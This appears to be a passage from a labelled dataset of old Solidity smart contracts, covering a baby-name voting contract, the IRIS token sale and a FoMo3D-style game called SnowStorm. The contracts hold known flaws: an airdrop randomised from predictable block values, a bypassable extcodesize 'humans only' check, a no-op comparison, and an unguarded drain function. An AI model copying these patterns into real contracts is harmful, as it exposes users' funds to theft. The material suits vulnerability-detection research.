sizeBytes, uint value) private pure returns(uint result){ result = setPart(val, pos, sizeBytes, getPart(val, pos, sizeBytes) + value); } function bottomName() public view returns(uint name, uint index){ uint16 n = uint16(allNames.length); uint j = 0; name = allNames[0]; index = 0; for (j = 1; j < n; j++) { uint t = allNames[j]; if (t < name) { name = t; index = j; } } } function getTopN(uint nn) public view returns(uint[] top){ uint n = nn; if (n > allNames.length) { n = allNames.length; } top = new uint[](n); uint cnt = allNames.length; uint usedNames; for (uint j = 0; j < n; j++ ) { uint maxI = 0; uint maxScore = 0; bool found = false; for (uint i = 0; i < cnt; i++ ) { if (allNames[i] > maxScore) { if ((usedNames & (uint(1) << i)) == 0) { maxScore = allNames[i]; maxI = i; found = true; } } } if (found) { usedNames |= uint(1) << maxI; top[j] = maxScore; } else { break; } } } function getTopNames() external view returns(uint[100]){ return allNames; } function getCount() external view returns(uint count){ count = counter; } function getScoreForName(string name) external view returns(uint){ return leaderboard[normalizeAndCheckName(bytes(name))]; } function approve(string name, uint8 approval) external { require(msg.sender == owner); bytes10 name10 = normalizeAndCheckName(bytes(name)); uint uname = leaderboard[name10]; if (uname != 0) { uname = setPart(uname, S_APPROVED_POS, S_APPROVED_SIZE, approval); _update(name10, uname); } } function redeem(uint _value) external{ require(msg.sender == owner); uint value = _value; if (value == 0) { value = this.balance; } owner.transfer(value); } function babyBornEndVoting(string name, uint birthday) external returns(uint finalName){ require(msg.sender == owner); bytes10 name10 = normalizeAndCheckName(bytes(name)); finalName = leaderboard[name10]; if (finalName != 0) { babyName = finalName; babyBirthday = birthday; BabyBorn(name, birthday); } } function getSelectedName() external view returns(uint name, uint birthday){ name = babyName; birthday = babyBirthday; } function normalizeAndCheckName(bytes name) private pure returns(bytes10 name10){ require(name.length <= 10); require(name.length >= 2); for (uint8 i = 0; i < name.length; i++ ) { bytes1 chr = name[i] & ~0x20; require(chr >= 0x41 && chr <= 0x5A); name[i] = chr; name10 |= bytes10(chr) >> (8 * i); } } }
1
pragma solidity ^0.4.17; contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner(){ require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require (!paused); _; } modifier whenPaused { require (paused); _; } function pause() onlyOwner whenNotPaused public returns (bool) { paused = true; Pause(); return true; } function unpause() onlyOwner whenPaused public returns (bool) { paused = false; Unpause(); return true; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool){ require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply = totalSupply.sub(_value); Burn(_who, _value); Transfer(_who, address(0), _value); } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; uint256 public oneCoin = 10 ** 18; uint256 public maxTokens = 2000 * (10**6) * oneCoin; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply.add(_amount) <= maxTokens); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Transfer(0X0, _to, _amount); return true; } function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract IrisToken is MintableToken, BurnableToken, Pausable { string public name = "IRIS"; string public symbol = "IRIS"; uint256 public decimals = 18; bool public tradingStarted = false; modifier hasStartedTrading() { require(tradingStarted); _; } function startTrading() public onlyOwner { tradingStarted = true; } function transfer(address _to, uint _value) hasStartedTrading whenNotPaused public returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) hasStartedTrading whenNotPaused public returns (bool) { return super.transferFrom(_from, _to, _value); } function emergencyERC20Drain( ERC20 oddToken, uint amount ) public { oddToken.transfer(owner, amount); } } contract IrisTokenPrivatSale is Ownable, Pausable{ using SafeMath for uint256; IrisToken public token; uint256 public decimals = 18; uint256 public oneCoin = 10**decimals; address public multiSig; uint256 public weiRaised; uint256 public tokenRaised; uint256 public numberOfPurchasers = 0; event HostEther(address indexed buyer, uint256 value); event TokenPlaced(address indexed beneficiary, uint256 amount); event SetWallet(address _newWallet); event SendedEtherToMultiSig(address walletaddress, uint256 amountofether); function setWallet(address _newWallet) public onlyOwner { multiSig = _newWallet; SetWallet(_newWallet); } function IrisTokenPrivatSale() public { multiSig = 0x02cb1ADc98e984A67a3d892Dbb7eD72b36dA7b07; token = new IrisToken(); } function placeTokens(address beneficiary, uint256 _tokens) onlyOwner public { require(_tokens != 0); require (beneficiary != 0x0); if (token.balanceOf(beneficiary) == 0) { numberOfPurchasers++; } tokenRaised = tokenRaised.add(_tokens); token.mint(beneficiary, _tokens); TokenPlaced(beneficiary, _tokens); } function buyTokens(address buyer, uint256 amount) whenNotPaused internal { require (multiSig != 0x0); require (msg.value > 1 finney); weiRaised = weiRaised.add(amount); HostEther(buyer, amount); multiSig.transfer(this.balance); SendedEtherToMultiSig(multiSig,amount); } function transferTokenContractOwnership(address _address) public onlyOwner { token.transferOwnership(_address); } function () public payable { buyTokens(msg.sender, msg.value); } function emergencyERC20Drain( ERC20 oddToken, uint amount ) public onlyOwner{ oddToken.transfer(owner, amount); } }
0
pragma solidity ^0.4.24; contract Snow { function buy(address) public payable returns(uint256); function withdraw() public; function redistribution() external payable; function myTokens() public view returns(uint256); function myDividends(bool) public view returns(uint256); } contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract SnowStorm is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xf4FBEF849bcf02Ac4b305c2bc092FC270a14124C); address private admin = msg.sender; string constant public name = "SnowStorm"; string constant public symbol = "SS"; uint256 private rndExtra_ = 1 seconds; uint256 private rndGap_ = 1 seconds; uint256 constant private rndInit_ = 8 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 8 hours; address treat; Snow action; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { treat = 0x371308b6A7B6f80DF798589c48Dea369839951dd; action = Snow(treat); fees_[0] = F3Ddatasets.TeamFee(46,10); fees_[1] = F3Ddatasets.TeamFee(46,10); fees_[2] = F3Ddatasets.TeamFee(46,10); fees_[3] = F3Ddatasets.TeamFee(46,10); potSplit_[0] = F3Ddatasets.PotSplit(35,5); potSplit_[1] = F3Ddatasets.PotSplit(35,5); potSplit_[2] = F3Ddatasets.PotSplit(35,5); potSplit_[3] = F3Ddatasets.PotSplit(35,5); } modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(50)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 5000000000000000000) { uint256 _availableLimit = (5000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); _win = _win+_com; uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); action.redistribution.value(_p3d).gas(1000000)(); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = 